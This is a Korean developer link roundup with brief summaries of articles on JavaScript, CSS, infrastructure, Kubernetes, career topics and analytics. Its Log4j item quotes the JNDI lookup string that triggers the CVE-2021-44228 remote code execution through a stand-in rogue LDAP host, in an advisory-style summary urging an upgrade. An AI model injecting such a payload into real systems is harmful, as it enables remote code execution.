자바스크립트는 왜 프로토타입을 선택했을까 : JavaScript를 특이하게 prototype을 사용하는데 왜 이렇게 하는지 궁금해서 논문까지 찾아보며 이유를 정리한 글이다. 플라톤과 이데아부터 아리스토텔레스의 분류 개념을 설명하면서 비트겐슈타인의 가족 유사성까지 이어지면서 프로토타입 이론이 등장하는 과정을 설명한다. 프로토타입 이론에서는 원형(prototype)을 선택하고 문맥에 따라 범주가 달라진다. 이를 JavaScript에서 이 프로토타입 이론을 구현하기 위해 prototype, hoisting, this가 어떻게 동작하고 있는지를 보여주는데 이렇게 생각해 본 적이 없어서 재미있게 읽었다.(한국어)
State of CSS 2021 : 8천여 명의 개발자에게 CSS 생태계에 관해 설문을 진행해서 정리한 보고서이다. 사용하는 CSS 프레임워크나 전처리자, 사용 브라우저, CSS 기능 등에 대한 통계가 잘 정리되어 있다.(영어)
Zero-Day Exploit Targeting Popular Java Library Log4j : 지난 12월 9일 Java의 로깅 라이브러리인 Log4j에서 ${jndi:ldap://rogueldapserver.com/a}같은 문자열을 로그로 남기게 해서 원격 코드를 실행(RCE, remote code execution)할 수 있게 하는 치명적인 취약점 CVE-2021-44228가 발견되었다. 이 취약점은 Log4j 2.0부터 2.14.1에서 발생했으며 로깅 라이브러리의 특성상 다양한 경로로 취약점에 노출될 수 있으므로 빨리 2.15.0으로 업데이트하기를 권하고 있다.(영어)
Improving GitHub code search : GitHub에서 코드를 검색할 수 있는 Code Search 페이지를 테크 프리뷰로 공개했다.(아직은 승인되어야만 사용해볼 수 있다.) code search에서는 문자열 검색, 일부 매칭, 특수문자, 정규 표현식으로 검색할 수 있으며, 저장소, 언어, 확장자 등의 필터를 통해서 기존 검색보다 더 쉽게 코드를 찾을 수 있게 지원해준다.(영어)
Using ChatOps to help Actions on-call engineers : GitHub에서는 터미널 대신 슬랙에서 명령어를 입력해서. 자동화하는 "Hubot"이라는 ChatOps를 활용하고 있다. Hubot은 로그 수집 도구인 Kusto에 질의를 할 수 있으므로 문제가 생겼을 때 Hubot을 이용해서 바로 조회를 할 수 있을뿐 더러 처음 온 사람도 비상대기할 때 장애 상황에 대처할 플레이 북 문서를 Hubot을 통해서 조회할 수 있을 뿐 더러 플레이 북을 자동화해서 문제를 찾아줄 수 있게 작성되어 있다고 한다.(영어)
Open Source at Apple : Apple이 만들거나 기여하고 있는 프로젝트를 모아둔 오픈소스 사이트를 공개했다. 여기에는 Swift, WebKit, FoundationDB, ResearchKit 등이 포함되어 있다.(영어)
인프라 관련
How eBPF will solve Service Mesh - Goodbye Sidecars : 서비스 메시는 탄력적인 연결성, L7 트래픽 관리, 보안, 관측성, 추적성 등을 제공하는데 과거에는 앱에서 서비스 메시를 구현했지만, 요즘은 사이드카로 서비스 메시를 앱 옆에 제공해서 이를 구현하고 있다. 커널에는 원래 서비스 메시와 비슷한 기능이 이미 있었지만(iptables) 현대에 필요한 서비스 메시의 요구사항을 만족하지 못하고 사이드카 방식을 커널을 통해서 사이드카를 한 번 더 거쳐야 하므로 벤치마크에 따르면 3~4배의 지연시간 증가와 추가적인 메모리가 필요했다. Cilium의 eBPF를 이용해서 서비스 메시를 사이드카 없이 Linux 커널에서 제공할 수 있게 되었고 L7 추적과 메트릭을 제공할 수 있게 되었고 프락시 기반보다 훨씬 빠르다. eBPF로만 구현할 수 없는 요구사항의 경우 Node 당 프락시를 설치해서 해결할 수 있고 사이드카 방식보다 커넥션도 줄일 수 있다고 한다.(영어)
1GB 이상 되는 큰 데이터를 이미지에 넣으려고 하지 말자. 디스크를 너무 많이 사용하고 이미지도 커지므로 볼륨을 연결해서 데이터를 읽어 들이는 것이 더 낫다.
너무 작은 이미지를 만들면 트러블슈팅에 필요한 유용한 도구가 누락될 수 있다.
공통된 베이스 이미지를 매번 다시 빌드하지 말고 레지스트리에 저장해서 사용하자.
너무 큰 모노 레포의 루트에서 여러 Dockerfile로 빌드하는 경우 BuildKit이 아니라면 전체 레포를 도커 엔진에 업로드 할 것이므로 Dockerfile을 디렉터리 별로 나누는 것이 좋다.
BuildKit을 사용하자. 무조건 좋다.
뭔가 변경할 때마다 다시 빌드되도록 하는 걸 피하자.
커스텀 스크립트를 사용하는 대신 이미 존재하는 도구를 활용하자.
클라우드 시대, 인프라 엔지니어의 역할에 대해 생각하다. : 온프레미스 환경부터 10년 넘게 인프라 엔지니어로 일하면서 그동안 개발자가 개발에만 집중하게 하는 환경을 만들어 주는 게 인프라 엔지니어의 역할로 생각했지만, 개발자가 운영에도 참여할 수 있게 도구와 가이드를 제공해야 한다는 팀원의 얘기에 역할에 대한 고민을 정리한 글이다. 클라우드에서는 자동화, 표준화가 더 쉬워졌기에 기존의 게이트키퍼의 역할보다는 가드레일을 제공해서 개발자가 인프라 작업을 직접 처리할 수 있게 하는 게 더 어울린다고 생각하게 되었다고 한다.(한국어)
A Simple Kubernetes Admission Webhook : Slack에서 Kubernetes의 Admission Webhook을 만드는 과정을 설명하는 글이다. 처음 Admission Webhook를 알았을 때는 사용해 볼 일이 없다고 생각했지만 만들게 되면서 Kubebuilder나 Operator SDK 등의 복잡한 프레임워크는 필요 없다고 판단하여 간단한 Go 웹서버를 만들어서 Admission Webhook에서 팟의 이름을 검증하고 Mutating 단계에서 환경을 주입하는 등의 간단한 동작을 하는 Admission Webhook을 설명하고 소스 코드도 공개해 주었다.(영어)
개발자가 알아야 할 스톡옵션의 모든 것 : 요즘은 스톡옵션으로 돈을 버는 사람도 많이 나와서 관심이 꽤 있는데 스톡옵션이 정확히 무엇이고 행사하려면 어떻게 해야 하는지를 설명하는 글이다. 그냥 무료로 받는 주식으로 생각하는 경우도 많은데 스타트업에서 스톡옵션을 받게 되었다면 여기서 말하는 "옵션"의 의미와 베스팅, 클리프 등의 개념을 이해하고 실제로 행사할 때 필요한 자금과 세금 관련된 부분을 이해해 두면 아주 유용해 보인다.(한국어)
CTO를 어떻게 뽑을까 : 많은 회사가 CTO가 필요하다고 얘기하고 그에 대한 몇 가지 이유가 있지만 따지고 보면 꼭 CTO이어야만 하는 것은 아니기도 하다. 그런데도 필요하다면 개발 이력을 많이 알고 의사소통 능력이 높으면서 회사 사정에 밝은 재직자가 CTO가 되는 것이 좋아 보인다. 하지만 외부에서 뽑을 경우에 개발을 잘하고 회사 스택과 맞지 않고 유명세가 없어도 괜찮으므로 회사에 대한 자료를 준비하고 미래를 보여주면서 적극적으로 찾아보는 노력이 필요하다. 종종 CTO는 어떻게 뽑아야 하느냐는 질문을 받아본 입장에서 꽤 공감한다.(한국어)
지라의 배포(deployments) 기능을 사용해볼까요? : Jira에 deployments 기능을 통해서 이슈가 언제 어떤 환경에 배포되었는지 추적하기 위해서 GitHub Actions로 커밋에서 Jira 이슈 번호를 추출해서 Jira에 연동하는 방법을 설명한다. 이렇게 연동하자 티켓이 배포된 상황을 쉽게 추적할 수 있게 되었다.(한국어)
구글 애널리틱스 4 세션에 관한 정확한 진실 : 구글 애널리틱스가 Universal Analytics에서 GA4로 넘어가면서 달라진 부분을 설명한다. 세션이 중심이었던 대신 사용자가 중심이 되어서 세션이 GA3보다 적게 수집될 가능성이 커졌고 이탈률이 살아지고 Engagement 이벤트를 통해서 사용자의 관여 정도와 목표설정을 할 수 있게 되었다.(한국어)
Comments